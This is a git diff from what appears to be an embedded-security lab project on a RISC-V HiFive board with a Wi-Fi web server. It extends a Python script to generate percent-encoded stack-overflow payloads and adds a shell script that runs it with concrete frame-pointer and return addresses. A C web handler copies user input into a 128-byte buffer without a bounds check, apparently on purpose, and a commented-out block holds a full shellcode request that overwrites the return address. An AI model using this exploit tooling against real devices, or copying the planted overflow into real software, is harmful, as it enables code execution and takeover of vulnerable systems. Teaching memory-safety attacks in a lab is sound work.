diff --git a/assembler.py b/assembler.py index 1c58842fdd64dcc784be4b73fea340424bb190cf..3316a1f4bfbee164df0b61518f12c62c08b0b360 100755 --- a/assembler.py +++ b/assembler.py @@ -7,6 +7,35 @@ import subprocess arch_prefix = "riscv64-unknown-elf-" march = "rv32i" reverse_bytes = True +# "%", for percent encoding +# "\\x", if no percent decoding occurs +encode_char = "%" + +def split_hex_str(hex_str): + return [hex_str[0:2], hex_str[2:4], hex_str[4:6], hex_str[6:8]] + +def write_hex(hex_num): + return "%s%s%s%s%s%s%s%s" % (encode_char, hex_num[0], encode_char, hex_num[1], encode_char, hex_num[2], encode_char, hex_num[3]) + +if sys.argv[1] == "--help": + print("HELP:") + print(" call like this:") + print(" %s asm_file desired_length frame_pointer return_address" % sys.argv[0]) + exit() + +desired_len = int(sys.argv[2]) +if sys.argv[3].startswith("0x"): + fp = split_hex_str(sys.argv[3][2:]) +else: + fp = split_hex_str(sys.argv[3]) +if sys.argv[4].startswith("0x"): + ra = split_hex_str(sys.argv[4][2:]) +else: + ra = split_hex_str(sys.argv[4]) + +if reverse_bytes: + fp.reverse() + ra.reverse() try: path = os.environ["RV_BIN_PATH"] @@ -22,6 +51,15 @@ subprocess.run([assembler, sys.argv[1], "-march=" + march]) with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdump_result: with open("i_am_bin_dump", "wb") as f: text_start = False + if desired_len % 4 != 0: + print(' "', end='') + while desired_len % 4 != 0: + f.write(b'X') + print("X", end='') + desired_len -= 1 + print('" // padding to align the instructions') + + print() for line in objdump_result.stdout.read().decode("utf-8").splitlines(): if not text_start: @@ -32,13 +70,35 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu else: components = line.split() offset = components[0] - hexval = [components[1][0:2], components[1][2:4], components[1][4:6], components[1][6:8]] + hexval = split_hex_str(components[1]) if reverse_bytes: hexval.reverse() instruction = " ".join(components[2:]) - print(' "\\x%s\\x%s\\x%s\\x%s" // %s %s' % (hexval[0], hexval[1], hexval[2], hexval[3], offset, instruction)) + print(' "%s" // %s %s' % (write_hex(hexval), offset, instruction)) for hx in hexval: f.write(bytes([int(hx, 16)])) + desired_len -= 4 + + if desired_len < 8: + print("ERROR: instructions took up more space than the desired length") + exit() + + print() + + while desired_len > 8: + print(' "XXXX" // padding to overwrite the return address') + f.write(b"XXXX") + desired_len -= 4 + + print() + + print(' "%s" // the new frame pointer: %s' % (write_hex(fp), sys.argv[3])) + for hx in fp: + f.write(bytes([int(hx, 16)])) + print(' "%s" // the new return address: %s' % (write_hex(ra), sys.argv[4])) + for hx in ra: + f.write(bytes([int(hx, 16)])) + print("running xclip for hex to clipboard") subprocess.run(["xclip", "-selection", "clipboard", "-noutf8", "-in", "i_am_bin_dump"]) diff --git a/create_hifive_attack.sh b/create_hifive_attack.sh new file mode 100755 index 0000000000000000000000000000000000000000..a08908cbb9c132d8f9371b4a374761ec7846a45f --- /dev/null +++ b/create_hifive_attack.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +python3 ./assembler.py sifive_software/payload_hifive_ohnemz.as 141 0x80001f10 0x80001e44 diff --git a/sifive_software/payload_hifive_ohnemz.as b/sifive_software/payload_hifive_ohnemz.as index 2d8025e9f963e6ce14be1154d00a2ae8b1c05a2a..7e0d87a29d745f863dd08d318d2f7e51df95ff84 100644 --- a/sifive_software/payload_hifive_ohnemz.as +++ b/sifive_software/payload_hifive_ohnemz.as @@ -1,6 +1,4 @@ .text - li x10, 0x2001055c - addi x28, x0, 0 - li x28, 0x2001145C - jalr x29, x28, 0x0 -nop + li a0, 0x20010368 + li t3, 0x200125d0 + jalr t4, t3 diff --git a/sifive_software/src/wifi_exploit.c b/sifive_software/src/wifi_exploit.c index 1ae8c387c489bb70bd7023ea8ac482501baffb02..0e8f2686d9d61549535448f70663e5fc60ec0734 100644 --- a/sifive_software/src/wifi_exploit.c +++ b/sifive_software/src/wifi_exploit.c @@ -44,27 +44,24 @@ " </body>\n"\ "</html>" -char *target = "secret"; -char * get_target() { - return target; -} -int is_target(char *test) { - return strncmp(test, target, strlen(target)) == 0; +char *admin_name = "my_secret_admin_name"; + +int is_admin(char *name, uint32_t name_len) { + return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0; } -char *attack_me(char *data, uint32_t data_len) { - // nobody could possibly enter a name longer than 20 characters, so this buffer +char *generate_page(char *name, uint32_t name_len) { + // nobody could possibly enter a name longer than 120 characters, so this buffer // is definitely large enough char message[128]; - memset(message, 'B', sizeof(message)); - memcpy(message, "Hallo, ", 7); - if(strncmp(data, get_target(), strlen(get_target())) == 0) { - snprintf(message + 7, strlen(target) + 1, target); - snprintf(message + 13, 14 , " ist korrekt!"); + if(is_admin(name, name_len)) { + memcpy(message, "Willkommen im Admin-Bereich.", 29); } else { - memcpy(message + 7, data, data_len); + memcpy(message, "Hallo, ", 7); + memcpy(message + 7, name, name_len); + message[7 + name_len] = '\0'; } char *result = malloc(strlen(message) + 1); @@ -81,10 +78,10 @@ char *server_request_handler(char *location, enum request_type type, char *data, uint32_t name_len = data_len - 5; name_len = webserver_percent_decode(&data[5], name_len); char *return_string; - return_string = attack_me(&data[5], name_len); + return_string = generate_page(&data[5], name_len); char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len); - free(return_string); + //free(return_string); return response; } else { return http_prepare_response(RESPONSE_404, strlen(RESPONSE_404), 404, out_len); @@ -95,17 +92,6 @@ char *server_request_handler(char *location, enum request_type type, char *data, return NULL; } - - -/* - * 0x6 - * 0x55 - * 0x80000f37 - * 0x1f - * 0x0 - * H=6C6C6148 Hall - */ - int main(void) { LED_off(LED_ALL); LED_on(LED_RED); @@ -117,51 +103,61 @@ int main(void) { spi_init(SPICLOCK_80KHZ); - char *attack = "sBAUM"; - char *revattack = "a" - - "\x37\x05\x01\x20" - "\x13\x05\xc5\x55" - "\x13\x0e\x00\x00" - "\x37\x1e\x01\x20" - "\x13\x0e\xce\x45" // 10: addi t3,t3,1116 # 0x2001145c - "\xe7\x0e\x0e\x00" // 14: jalr t4,t3 - "\x13\x00\x00\x00" // 18: nop - - "\x13\x00\x00\x00" // 20: nop - "\x13\x00\x00\x00" // 20: nop - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - "\x13\x00\x00\x00" - - "\xe4\x0e\x00\x80" - "\xe4\x0e\x00\x80"; - //char *result = attack_me(revattack, 141); - //char *result = attack_me(attack, 120); - - //printf("result: %s", result); - + /* + char *raw_attack = "name=" + "X" // padding to align the instructions + + "%37%05%01%20" // 0: lui a0,0x20010 + "%13%05%05%36" // 4: addi a0,a0,864 # 0x20010360 + "%37%2e%01%20" // 8: lui t3,0x20012 + "%13%0e%ee%14" // c: addi t3,t3,334 # 0x2001214e + "%e7%0e%0e%00" // 10: jalr t4,t3 + + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + + "%60%0f%00%80" // the new frame pointer: 0x80000f60 + "%94%0e%00%80" // the new return address: 0x80000e94 + ; + uint32_t raw_attack_len = strlen(raw_attack); + char *attack = malloc(raw_attack_len); + memcpy(attack, raw_attack, raw_attack_len); + bool free_result; + uint32_t out_len; + char *result = server_request_handler("/", POST_REQUEST, attack, raw_attack_len, &out_len, &free_result); + + printf("out_len: %d\r\n", out_len); + printf("result: "); + for (int i = 0; i < out_len; ++i) { + printf("%c", result[i]); + } + */ if(webserver_init(ESP32_NETWORK_IMPLEMENTATION) != 0) { return 1; @@ -175,6 +171,5 @@ int main(void) { LED_off(LED_BLUE); LED_on(LED_GREEN); - return 0; }